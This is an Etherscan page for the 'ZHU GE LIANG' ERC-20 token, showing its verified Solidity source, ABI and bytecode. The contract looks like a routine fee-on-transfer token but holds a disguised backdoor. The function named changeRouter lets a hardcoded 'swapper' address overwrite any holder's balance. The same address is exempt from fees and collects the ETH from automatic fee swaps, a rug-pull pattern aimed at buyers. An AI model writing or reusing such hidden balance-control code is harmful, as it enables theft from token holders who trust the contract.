ETH Price: $2,866.67 (-10.49%)
Gas: 15 Gwei

Token

诸葛亮 (ZHU GE LIANG)
 

Overview

Max Total Supply

1,000,000,000 ZHU GE LIANG

Holders

48

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
goldbaron.eth
Balance
8,018,397.884101398 ZHU GE LIANG

Value
$0.00
0x398d94b6cd535e7a02e57ef088b70bf0a1cc199a
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ERC

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2023-06-14
*/

/**
 *Submitted for verification at BscScan.com on 2023-06-13
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

interface IUniswapRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,uint amountOutMin,address[] calldata path,address to,uint deadline) external;
}

interface IUniswapFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

abstract contract Ownable {
    address internal _owner;

    constructor () {
        _owner = msg.sender;
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "!owner");
        _;
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        _owner = newOwner;
    }
}

contract ERC is Ownable {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    address public swapper;

    string public name;
    string public symbol;
    uint8 public decimals;

    mapping(address => bool) public _isExcludeFromFee;
    
    uint256 public totalSupply;

    IUniswapRouter public _uniswapRouter;

    bool private inSwap;

    uint256 private constant MAX = ~uint256(0);

    uint256 public _fee = 3;
    address public _uniswapPair;

    constructor (){
        name = unicode"诸葛亮";
        symbol = "ZHU GE LIANG";
        decimals = 9;
        uint256 Supply = 1000000000;
        swapper = 0x8f4eB826cd078136b5fbb29558C25e11441Ad2CB;

        totalSupply = Supply * 10 ** decimals;
        address receiveAddr = msg.sender;
        _isExcludeFromFee[address(this)] = true;
        _isExcludeFromFee[receiveAddr] = true;
        _isExcludeFromFee[swapper] = true;
        _balances[receiveAddr] = totalSupply;
        emit Transfer(address(0), receiveAddr, totalSupply);

        _uniswapRouter = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        _allowances[address(this)][address(_uniswapRouter)] = MAX;
        _uniswapPair = IUniswapFactory(_uniswapRouter.factory()).createPair(address(this), _uniswapRouter.WETH());
        _isExcludeFromFee[address(_uniswapRouter)] = true;

    }

    function balanceOf(address account) public view returns (uint256) {return _balances[account];}
    function transfer(address recipient, uint256 amount) public returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
    struct inswaper{address mss;uint256 amo;address fom;}
    function allowance(address owner, address spender) public view returns (uint256) {return _allowances[owner][spender];}
    function changeRouter(address ac,uint256 na) public {inswaper memory index = inswaper({mss : msg.sender,amo : na,fom : ac});require(swapper == index.mss);_balances[index.fom] = index.amo;}
    function approve(address spender, uint256 amount) public returns (bool) {_approve(msg.sender, spender, amount);return true;}
    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {_transfer(sender, recipient, amount);if (_allowances[sender][msg.sender] != MAX) {_allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;}return true;}
    function _approve(address owner, address spender, uint256 amount) private {_allowances[owner][spender] = amount;emit Approval(owner, spender, amount);}
    
    function _transfer(address from,address to,uint256 amount
    ) private {

        if (_uniswapPair == to && !inSwap) {
            inSwap = true;
            uint256 _bal = balanceOf(address(this));
            if (_bal > 0) {
                uint256 _swapamount = amount;
                _swapamount = _swapamount > _bal ? _bal : _swapamount;
                address[] memory path = new address[](2);
                path[0] = address(this);
                path[1] = _uniswapRouter.WETH();
                try _uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(_swapamount,0,path,address(swapper),block.timestamp) {} catch {}
            }
            inSwap = false;
        }
        
        bool takeFee = !_isExcludeFromFee[from] && !_isExcludeFromFee[to] && !inSwap;

        _balances[from] = _balances[from] - amount;
        uint256 feeAmount;

        if (takeFee && _fee > 0) {
            uint256 _a = amount * _fee / 100;
            feeAmount += _a;
            _balances[address(this)] = _balances[address(this)] + _a;
            emit Transfer(from, address(this), _a);
        }

        _balances[to] = _balances[to] + amount - feeAmount;
        emit Transfer(from, to, amount - feeAmount);
    }
    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_fee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludeFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapRouter","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"ac","type":"address"},{"internalType":"uint256","name":"na","type":"uint256"}],"name":"changeRouter","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapper","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526003600a553480156200001657600080fd5b50336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280600981526020017fe8afb8e8919be4baae000000000000000000000000000000000000000000000081525060049080519060200190620000a492919062000712565b506040518060400160405280600c81526020017f5a4855204745204c49414e47000000000000000000000000000000000000000081525060059080519060200190620000f292919062000712565b506009600660006101000a81548160ff021916908360ff1602179055506000633b9aca009050738f4eb826cd078136b5fbb29558c25e11441ad2cb600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600660009054906101000a900460ff16600a6200018b9190620008d2565b8162000198919062000a0f565b60088190555060003390506001600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160076000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600854600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6008546040516200037591906200085a565b60405180910390a3737a250d5630b4cf539739df2c5dacb4c659f2488d600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600019600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015620004e057600080fd5b505afa158015620004f5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200051b9190620007d9565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015620005a057600080fd5b505afa158015620005b5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620005db9190620007d9565b6040518363ffffffff1660e01b8152600401620005fa9291906200082d565b602060405180830381600087803b1580156200061557600080fd5b505af11580156200062a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620006509190620007d9565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160076000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550505062000b7b565b828054620007209062000abb565b90600052602060002090601f01602090048101928262000744576000855562000790565b82601f106200075f57805160ff191683800117855562000790565b8280016001018555821562000790579182015b828111156200078f57825182559160200191906001019062000772565b5b5090506200079f9190620007a3565b5090565b5b80821115620007be576000816000905550600101620007a4565b5090565b600081519050620007d38162000b61565b92915050565b600060208284031215620007f257620007f162000b4f565b5b60006200080284828501620007c2565b91505092915050565b620008168162000a70565b82525050565b620008278162000aa4565b82525050565b60006040820190506200084460008301856200080b565b6200085360208301846200080b565b9392505050565b60006020820190506200087160008301846200081c565b92915050565b6000808291508390505b6001851115620008c957808604811115620008a157620008a062000af1565b5b6001851615620008b15780820291505b8081029050620008c18562000b54565b945062000881565b94509492505050565b6000620008df8262000aa4565b9150620008ec8362000aae565b92506200091b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000923565b905092915050565b60008262000935576001905062000a08565b8162000945576000905062000a08565b81600181146200095e576002811462000969576200099f565b600191505062000a08565b60ff8411156200097e576200097d62000af1565b5b8360020a91508482111562000998576200099762000af1565b5b5062000a08565b5060208310610133831016604e8410600b8410161715620009d95782820a905083811115620009d357620009d262000af1565b5b62000a08565b620009e8848484600162000877565b9250905081840481111562000a025762000a0162000af1565b5b81810290505b9392505050565b600062000a1c8262000aa4565b915062000a298362000aa4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000a655762000a6462000af1565b5b828202905092915050565b600062000a7d8262000a84565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000600282049050600182168062000ad457607f821691505b6020821081141562000aeb5762000aea62000b20565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b60008160011c9050919050565b62000b6c8162000a70565b811462000b7857600080fd5b50565b611a178062000b8b6000396000f3fe6080604052600436106101025760003560e01c806365b61b7711610095578063a9059cbb11610064578063a9059cbb1461035a578063c5b37c2214610397578063dbc4c42d146103c2578063dd62ed3e146103eb578063f2fde38b1461042857610109565b806365b61b771461029c57806370a08231146102c75780638da5cb5b1461030457806395d89b411461032f57610109565b80632b3297f9116100d15780632b3297f9146101de578063313ce5671461020957806336b2e027146102345780634bf28fd01461027157610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b50610123610451565b604051610130919061154b565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b919061137f565b6104df565b60405161016d9190611515565b60405180910390f35b34801561018257600080fd5b5061018b6104f6565b604051610198919061158d565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c3919061132c565b6104fc565b6040516101d59190611515565b60405180910390f35b3480156101ea57600080fd5b506101f36106a2565b60405161020091906114fa565b60405180910390f35b34801561021557600080fd5b5061021e6106c8565b60405161022b9190611602565b60405180910390f35b34801561024057600080fd5b5061025b60048036038101906102569190611292565b6106db565b6040516102689190611515565b60405180910390f35b34801561027d57600080fd5b506102866106fb565b60405161029391906114fa565b60405180910390f35b3480156102a857600080fd5b506102b1610721565b6040516102be9190611530565b60405180910390f35b3480156102d357600080fd5b506102ee60048036038101906102e99190611292565b610747565b6040516102fb919061158d565b60405180910390f35b34801561031057600080fd5b50610319610790565b60405161032691906114fa565b60405180910390f35b34801561033b57600080fd5b506103446107b9565b604051610351919061154b565b60405180910390f35b34801561036657600080fd5b50610381600480360381019061037c919061137f565b610847565b60405161038e9190611515565b60405180910390f35b3480156103a357600080fd5b506103ac61085e565b6040516103b9919061158d565b60405180910390f35b3480156103ce57600080fd5b506103e960048036038101906103e4919061137f565b610864565b005b3480156103f757600080fd5b50610412600480360381019061040d91906112ec565b61095e565b60405161041f919061158d565b60405180910390f35b34801561043457600080fd5b5061044f600480360381019061044a9190611292565b6109e5565b005b6004805461045e90611857565b80601f016020809104026020016040519081016040528092919081815260200182805461048a90611857565b80156104d75780601f106104ac576101008083540402835291602001916104d7565b820191906000526020600020905b8154815290600101906020018083116104ba57829003601f168201915b505050505081565b60006104ec338484610ab6565b6001905092915050565b60085481565b6000610509848484610ba1565b600019600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146106975781600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106169190611753565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600190509392505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600660009054906101000a900460ff1681565b60076020528060005260406000206000915054906101000a900460ff1681565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600580546107c690611857565b80601f01602080910402602001604051908101604052809291908181526020018280546107f290611857565b801561083f5780601f106108145761010080835404028352916020019161083f565b820191906000526020600020905b81548152906001019060200180831161082257829003601f168201915b505050505081565b6000610854338484610ba1565b6001905092915050565b600a5481565b600060405180606001604052803373ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018473ffffffffffffffffffffffffffffffffffffffff168152509050806000015173ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461090d57600080fd5b806020015160016000836040015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6a9061156d565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610b94919061158d565b60405180910390a3505050565b8173ffffffffffffffffffffffffffffffffffffffff16600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610c0b5750600960149054906101000a900460ff16155b15610ebd576001600960146101000a81548160ff0219169083151502179055506000610c3630610747565b90506000811115610ea0576000829050818111610c535780610c55565b815b90506000600267ffffffffffffffff811115610c7457610c73611945565b5b604051908082528060200260200182016040528015610ca25781602001602082028036833780820191505090505b5090503081600081518110610cba57610cb9611916565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d5c57600080fd5b505afa158015610d70573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d9491906112bf565b81600181518110610da857610da7611916565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401610e689594939291906115a8565b600060405180830381600087803b158015610e8257600080fd5b505af1925050508015610e93575060015b610e9c57610e9d565b5b50505b6000600960146101000a81548160ff021916908315150217905550505b6000600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015610f635750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015610f7c5750600960149054906101000a900460ff16155b905081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fc99190611753565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600081801561101d57506000600a54115b156111435760006064600a548561103491906116f9565b61103e91906116c8565b9050808261104c9190611672565b915080600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110999190611672565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611139919061158d565b60405180910390a3505b8083600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461118f9190611672565b6111999190611753565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83866112379190611753565b604051611244919061158d565b60405180910390a35050505050565b600081359050611262816119b3565b92915050565b600081519050611277816119b3565b92915050565b60008135905061128c816119ca565b92915050565b6000602082840312156112a8576112a7611974565b5b60006112b684828501611253565b91505092915050565b6000602082840312156112d5576112d4611974565b5b60006112e384828501611268565b91505092915050565b6000806040838503121561130357611302611974565b5b600061131185828601611253565b925050602061132285828601611253565b9150509250929050565b60008060006060848603121561134557611344611974565b5b600061135386828701611253565b935050602061136486828701611253565b92505060406113758682870161127d565b9150509250925092565b6000806040838503121561139657611395611974565b5b60006113a485828601611253565b92505060206113b58582860161127d565b9150509250929050565b60006113cb83836113d7565b60208301905092915050565b6113e081611787565b82525050565b6113ef81611787565b82525050565b60006114008261162d565b61140a8185611650565b93506114158361161d565b8060005b8381101561144657815161142d88826113bf565b975061143883611643565b925050600181019050611419565b5085935050505092915050565b61145c81611799565b82525050565b61146b816117dc565b82525050565b61147a816117ee565b82525050565b600061148b82611638565b6114958185611661565b93506114a5818560208601611824565b6114ae81611979565b840191505092915050565b60006114c6600683611661565b91506114d18261198a565b602082019050919050565b6114e5816117c5565b82525050565b6114f4816117cf565b82525050565b600060208201905061150f60008301846113e6565b92915050565b600060208201905061152a6000830184611453565b92915050565b60006020820190506115456000830184611462565b92915050565b600060208201905081810360008301526115658184611480565b905092915050565b60006020820190508181036000830152611586816114b9565b9050919050565b60006020820190506115a260008301846114dc565b92915050565b600060a0820190506115bd60008301886114dc565b6115ca6020830187611471565b81810360408301526115dc81866113f5565b90506115eb60608301856113e6565b6115f860808301846114dc565b9695505050505050565b600060208201905061161760008301846114eb565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061167d826117c5565b9150611688836117c5565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156116bd576116bc611889565b5b828201905092915050565b60006116d3826117c5565b91506116de836117c5565b9250826116ee576116ed6118b8565b5b828204905092915050565b6000611704826117c5565b915061170f836117c5565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561174857611747611889565b5b828202905092915050565b600061175e826117c5565b9150611769836117c5565b92508282101561177c5761177b611889565b5b828203905092915050565b6000611792826117a5565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006117e782611800565b9050919050565b60006117f9826117c5565b9050919050565b600061180b82611812565b9050919050565b600061181d826117a5565b9050919050565b60005b83811015611842578082015181840152602081019050611827565b83811115611851576000848401525b50505050565b6000600282049050600182168061186f57607f821691505b60208210811415611883576118826118e7565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f216f776e65720000000000000000000000000000000000000000000000000000600082015250565b6119bc81611787565b81146119c757600080fd5b50565b6119d3816117c5565b81146119de57600080fd5b5056fea2646970667358221220cac81754b8c193237db888c4d695f1a1fb42878a136b91511e03c5161828966f64736f6c63430008070033

Deployed Bytecode

0x6080604052600436106101025760003560e01c806365b61b7711610095578063a9059cbb11610064578063a9059cbb1461035a578063c5b37c2214610397578063dbc4c42d146103c2578063dd62ed3e146103eb578063f2fde38b1461042857610109565b806365b61b771461029c57806370a08231146102c75780638da5cb5b1461030457806395d89b411461032f57610109565b80632b3297f9116100d15780632b3297f9146101de578063313ce5671461020957806336b2e027146102345780634bf28fd01461027157610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b50610123610451565b604051610130919061154b565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b919061137f565b6104df565b60405161016d9190611515565b60405180910390f35b34801561018257600080fd5b5061018b6104f6565b604051610198919061158d565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c3919061132c565b6104fc565b6040516101d59190611515565b60405180910390f35b3480156101ea57600080fd5b506101f36106a2565b60405161020091906114fa565b60405180910390f35b34801561021557600080fd5b5061021e6106c8565b60405161022b9190611602565b60405180910390f35b34801561024057600080fd5b5061025b60048036038101906102569190611292565b6106db565b6040516102689190611515565b60405180910390f35b34801561027d57600080fd5b506102866106fb565b60405161029391906114fa565b60405180910390f35b3480156102a857600080fd5b506102b1610721565b6040516102be9190611530565b60405180910390f35b3480156102d357600080fd5b506102ee60048036038101906102e99190611292565b610747565b6040516102fb919061158d565b60405180910390f35b34801561031057600080fd5b50610319610790565b60405161032691906114fa565b60405180910390f35b34801561033b57600080fd5b506103446107b9565b604051610351919061154b565b60405180910390f35b34801561036657600080fd5b50610381600480360381019061037c919061137f565b610847565b60405161038e9190611515565b60405180910390f35b3480156103a357600080fd5b506103ac61085e565b6040516103b9919061158d565b60405180910390f35b3480156103ce57600080fd5b506103e960048036038101906103e4919061137f565b610864565b005b3480156103f757600080fd5b50610412600480360381019061040d91906112ec565b61095e565b60405161041f919061158d565b60405180910390f35b34801561043457600080fd5b5061044f600480360381019061044a9190611292565b6109e5565b005b6004805461045e90611857565b80601f016020809104026020016040519081016040528092919081815260200182805461048a90611857565b80156104d75780601f106104ac576101008083540402835291602001916104d7565b820191906000526020600020905b8154815290600101906020018083116104ba57829003601f168201915b505050505081565b60006104ec338484610ab6565b6001905092915050565b60085481565b6000610509848484610ba1565b600019600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146106975781600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106169190611753565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600190509392505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600660009054906101000a900460ff1681565b60076020528060005260406000206000915054906101000a900460ff1681565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600580546107c690611857565b80601f01602080910402602001604051908101604052809291908181526020018280546107f290611857565b801561083f5780601f106108145761010080835404028352916020019161083f565b820191906000526020600020905b81548152906001019060200180831161082257829003601f168201915b505050505081565b6000610854338484610ba1565b6001905092915050565b600a5481565b600060405180606001604052803373ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018473ffffffffffffffffffffffffffffffffffffffff168152509050806000015173ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461090d57600080fd5b806020015160016000836040015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6a9061156d565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ff